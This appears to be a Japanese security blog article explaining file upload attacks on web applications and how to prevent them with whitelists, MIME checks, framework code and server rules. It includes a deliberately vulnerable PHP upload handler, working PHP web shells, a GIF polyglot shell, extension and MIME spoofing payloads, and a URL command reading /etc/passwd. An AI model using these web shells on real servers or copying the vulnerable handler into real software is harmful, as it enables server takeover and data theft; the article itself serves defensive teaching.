ファイルアップロード攻撃とは?悪意あるファイルを仕込む危険な手法

ファイルアップロード攻撃とは?

ファイルアップロード攻撃とは、Webアプリケーションのファイルアップロード機能の脆弱性を悪用して、サーバー上に悪意のあるファイルをアップロードする攻撃手法です。

この攻撃が成功すると、以下のような深刻な被害が発生する可能性があります:

  • Webシェルの設置(サーバーの完全乗っ取り)
  • マルウェアの拡散
  • 機密情報の窃取
  • サービスの改ざん・破壊
  • 他システムへの踏み台攻撃

特に、プロフィール画像のアップロードや添付ファイル機能など、日常的に使われる機能が攻撃の入り口になりやすいため、多くのWebアプリケーションが標的になる可能性があります。

ファイルアップロード攻撃の仕組み

基本的な攻撃の流れ

以下のような脆弱なファイルアップロード処理があるとします:

<?php
// 危険なコード例(絶対に使わないでください)
$uploadDir = '/var/www/html/uploads/';
$uploadFile = $uploadDir . $_FILES['userfile']['name'];

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadFile)) {
    echo "ファイルのアップロードが完了しました。";
    echo "<a href='uploads/" . $_FILES['userfile']['name'] . "'>アップロードされたファイル</a>";
} else {
    echo "アップロードに失敗しました。";
}
?>

攻撃者の悪用手法

この脆弱なコードでは、攻撃者は以下のような悪意のあるファイルをアップロードできてしまいます:

<?php
// malicious.php(攻撃者がアップロードする悪意のあるファイル)
if(isset($_GET['cmd'])) {
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
}
?>

アップロード後、攻撃者は以下のURLにアクセスすることで、サーバー上で任意のコマンドを実行できてしまいます:

https://example.com/uploads/malicious.php?cmd=ls -la

https://example.com/uploads/malicious.php?cmd=cat
/etc/passwd

具体的な攻撃例

1. Webシェルによるサーバー乗っ取り

最も危険な攻撃パターンです。

<?php
// webshell.php - 高機能なWebシェルの例
echo "<h2>Web Shell</h2>";
echo "<form method='POST'>";
echo "<input type='text' name='cmd' placeholder='コマンドを入力' />";
echo "<input type='submit' value='実行' />";
echo "</form>";

if(isset($_POST['cmd'])) {
    echo "<pre>";
    echo shell_exec($_POST['cmd']);
    echo "</pre>";
}
?>

2. 拡張子偽装攻撃

ファイル拡張子をチェックしている場合の迂回手法:

# 様々な拡張子偽装パターン
malicious.php.jpg          # 二重拡張子
malicious.php%00.jpg       # Nullバイト攻撃(古いシステム)
malicious.pHp              # 大文字小文字の混在
malicious.php5              # 代替拡張子
malicious.phtml             # Apache実行可能拡張子

3. MIMEタイプ偽装攻撃

Content-Typeヘッダーを偽装する手法:

POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="image.jpg"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

4. ポリグロットファイル攻撃

画像ファイルとPHPコードの両方として機能するファイル:

GIF89a
<?php
// 画像ファイルとして認識されるが、PHPとしても実行可能
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

実際の被害事例

事例1:大手CMS の脆弱性(2023年)

某大手CMSで発見された脆弱性では、以下のような攻撃が可能でした:

  1. 管理画面に悪意のあるテーマファイル(ZIP)をアップロード
  2. ZIPファイル内にWebシェルが含まれている
  3. テーマのインストール時にWebシェルが自動的に展開
  4. 攻撃者がサーバーを完全に制御

この脆弱性により、数万のWebサイトが改ざんされる被害が発生しました。

事例2:ECサイトの顧客情報流出

あるECサイトでは、商品画像のアップロード機能に脆弱性があり:

  1. 攻撃者が画像ファイルに偽装したPHPファイルをアップロード
  2. アップロードされたファイルに直接アクセス
  3. 顧客データベースの情報を全て取得
  4. 約10万件の個人情報が流出

ファイルアップロード攻撃の対策方法

1. ファイル拡張子の厳格なチェック

ホワイトリスト方式で許可する拡張子を制限:

<?php
// 安全なコード例
function validateFileExtension($filename) {
    $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'docx'];
    $fileExtension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

    return in_array($fileExtension, $allowedExtensions);
}

if (isset($_FILES['userfile']) && $_FILES['userfile']['error'] === UPLOAD_ERR_OK) {
    $filename = $_FILES['userfile']['name'];

    if (!validateFileExtension($filename)) {
        die("許可されていないファイル形式です");
    }

    // 以下、追加の検証処理...
}
?>

2. MIMEタイプの検証

ファイルの実際の内容を検証:

<?php
function validateMimeType($tmpName, $expectedTypes) {
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mimeType = finfo_file($finfo, $tmpName);
    finfo_close($finfo);

    return in_array($mimeType, $expectedTypes);
}

$allowedMimeTypes = [
    'image/jpeg',
    'image/png', 
    'image/gif',
    'application/pdf'
];

if (!validateMimeType($_FILES['userfile']['tmp_name'], $allowedMimeTypes)) {
    die("無効なファイル形式です");
}
?>

3. ファイルサイズの制限

<?php
function validateFileSize($fileSize, $maxSize = 2097152) { // 2MB
    return $fileSize <= $maxSize && $fileSize > 0;
}

if (!validateFileSize($_FILES['userfile']['size'])) {
    die("ファイルサイズが制限を超えています");
}
?>

4. ファイル名のサニタイゼーション

<?php
function sanitizeFilename($filename) {
    // 危険な文字を除去
    $filename = preg_replace('/[^a-zA-Z0-9._-]/', '', $filename);

    // 拡張子を再度検証
    $extension = pathinfo($filename, PATHINFO_EXTENSION);
    $basename = pathinfo($filename, PATHINFO_FILENAME);

    // 一意なファイル名を生成
    $safeFilename = uniqid() . '_' . $basename . '.' . $extension;

    return $safeFilename;
}
?>

5. アップロードディレクトリの分離

<?php
// Webルートディレクトリ外にアップロード
$uploadDir = '/var/uploads/'; // Webからアクセスできない場所

// または、.htaccessでPHPの実行を禁止
/*
UploadディレクトリのHTMLディレクトリに.htaccessを設置:

<Files "*.php">
    Order Deny,Allow
    Deny from All
</Files>

<Files "*.phtml">
    Order Deny,Allow
    Deny from All
</Files>
*/
?>

6. 包括的なファイル検証

<?php
class SecureFileUpload {
    private $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
    private $allowedMimeTypes = ['image/jpeg', 'image/png', 'image/gif'];
    private $maxFileSize = 2097152; // 2MB
    private $uploadDir = '/var/secure_uploads/';

    public function validateAndUpload($file) {
        // 基本的なエラーチェック
        if ($file['error'] !== UPLOAD_ERR_OK) {
            throw new Exception('ファイルアップロードエラー');
        }

        // ファイルサイズチェック
        if ($file['size'] > $this->maxFileSize || $file['size'] <= 0) {
            throw new Exception('ファイルサイズが無効です');
        }

        // 拡張子チェック
        $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
        if (!in_array($extension, $this->allowedExtensions)) {
            throw new Exception('許可されていないファイル形式です');
        }

        // MIMEタイプチェック
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mimeType = finfo_file($finfo, $file['tmp_name']);
        finfo_close($finfo);

        if (!in_array($mimeType, $this->allowedMimeTypes)) {
            throw new Exception('ファイル内容が無効です');
        }

        // 画像の場合、追加検証
        if (strpos($mimeType, 'image/') === 0) {
            $imageInfo = getimagesize($file['tmp_name']);
            if ($imageInfo === false) {
                throw new Exception('無効な画像ファイルです');
            }
        }

        // 安全なファイル名を生成
        $safeFilename = $this->generateSafeFilename($file['name']);
        $destination = $this->uploadDir . $safeFilename;

        // ファイル移動
        if (move_uploaded_file($file['tmp_name'], $destination)) {
            return $safeFilename;
        } else {
            throw new Exception('ファイルの保存に失敗しました');
        }
    }

    private function generateSafeFilename($originalName) {
        $extension = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
        return uniqid('upload_', true) . '.' . $extension;
    }
}
?>

フレームワーク別の安全な実装

Laravel(PHP)

// Laravelでの安全な実装
public function uploadFile(Request $request)
{
    $request->validate([
        'file' => 'required|file|mimes:jpeg,png,gif|max:2048'
    ]);

    $file = $request->file('file');

    // ストレージに安全に保存
    $path = $file->store('uploads', 'private');

    return response()->json(['path' => $path]);
}

// ファイル取得(直接アクセスを防ぐ)
public function getFile($filename)
{
    $path = storage_path('app/private/uploads/' . $filename);

    if (!file_exists($path)) {
        abort(404);
    }

    return response()->file($path);
}

Express.js(Node.js)

// Express.js + Multerでの安全な実装
const multer = require('multer');
const path = require('path');
const fs = require('fs');

const storage = multer.diskStorage({
    destination: function (req, file, cb) {
        cb(null, '/var/secure_uploads/') // Webルート外
    },
    filename: function (req, file, cb) {
        // 安全なファイル名を生成
        const uniqueSuffix = Date.now() + '-' + Math.round(Math.random() * 1E9);
        const extension = path.extname(file.originalname);
        cb(null, 'upload-' + uniqueSuffix + extension);
    }
});

const fileFilter = (req, file, cb) => {
    const allowedMimes = ['image/jpeg', 'image/png', 'image/gif'];

    if (allowedMimes.includes(file.mimetype)) {
        cb(null, true);
    } else {
        cb(new Error('無効なファイル形式です'), false);
    }
};

const upload = multer({
    storage: storage,
    limits: {
        fileSize: 2 * 1024 * 1024 // 2MB
    },
    fileFilter: fileFilter
});

app.post('/upload', upload.single('file'), (req, res) => {
    if (!req.file) {
        return res.status(400).json({ error: 'ファイルが選択されていません' });
    }

    res.json({ message: 'アップロード成功', filename: req.file.filename });
});

Django(Python)

# Djangoでの安全な実装
from django.core.exceptions import ValidationError
from django.core.files.storage import default_storage
import magic
import os

def validate_file_extension(value):
    allowed_extensions = ['.jpg', '.jpeg', '.png', '.gif']
    ext = os.path.splitext(value.name)[1].lower()
    if ext not in allowed_extensions:
        raise ValidationError('許可されていないファイル形式です')

def validate_file_content(value):
    # python-magicを使用してファイル内容を検証
    mime = magic.from_buffer(value.read(1024), mime=True)
    value.seek(0)  # ファイルポインタをリセット

    allowed_mimes = ['image/jpeg', 'image/png', 'image/gif']
    if mime not in allowed_mimes:
        raise ValidationError('無効なファイル内容です')

class UploadFileForm(forms.Form):
    file = forms.FileField(
        validators=[validate_file_extension, validate_file_content]
    )

def upload_file(request):
    if request.method == 'POST':
        form = UploadFileForm(request.POST, request.FILES)
        if form.is_valid():
            uploaded_file = request.FILES['file']

            # 安全なファイル名を生成
            filename = default_storage.save(
                f'secure_uploads/{uploaded_file.name}',
                uploaded_file
            )

            return JsonResponse({'success': True, 'filename': filename})

    return JsonResponse({'success': False})

セキュリティテストの実施

1. 手動テスト

# 様々なファイル形式でのテスト
test.php                    # 基本的なPHPファイル
test.php.jpg               # 二重拡張子
test.pHp                   # 大文字小文字混在
test.php%00.jpg            # Nullバイト
test.phtml                 # 代替拡張子

2. 自動化ツールでの検証

# Burp Suite でのファイルアップロードテスト
# OWASP ZAP でのファイルアップロード脆弱性検査
zap-cli quick-scan --spider http://example.com/upload

Webサーバーでの追加対策

Apache での設定

# .htaccess でのPHP実行禁止(アップロードディレクトリ)
<Files "*.php">
    Order Deny,Allow
    Deny from All
</Files>

<Files "*.phtml">
    Order Deny,Allow
    Deny from All
</Files>

<Files "*.php5">
    Order Deny,Allow
    Deny from All
</Files>

# 実行権限の削除
Options -ExecCGI
RemoveHandler .php .phtml .php5

Nginx での設定

# アップロードディレクトリでのPHP実行禁止
location ^~ /uploads/ {
    location ~ \.php$ {
        deny all;
        return 403;
    }
}

# ファイルサイズ制限
client_max_body_size 2M;

まとめ

ファイルアップロード攻撃は、適切な対策により確実に防ぐことができる脆弱性です。

重要なポイント:

  1. ホワイトリスト方式でファイル形式を厳格に制限
  2. MIMEタイプとファイル内容の両方を検証
  3. アップロードディレクトリを分離し、実行権限を削除
  4. ファイル名のサニタイゼーションを実施
  5. ファイルサイズの制限を設ける
  6. 定期的なセキュリティテストを実施

特に重要なのは、ファイル拡張子だけに頼らないことです。攻撃者は様々な手法で拡張子チェックを回避しようとするため、多層防御の考え方が不可欠です。

ファイルアップロード機能は利便性が高い反面、適切に実装しないと深刻なセキュリティリスクになります。この記事で紹介した対策を参考に、安全なファイルアップロード機能を実装してください。


コメント

タイトルとURLをコピーしました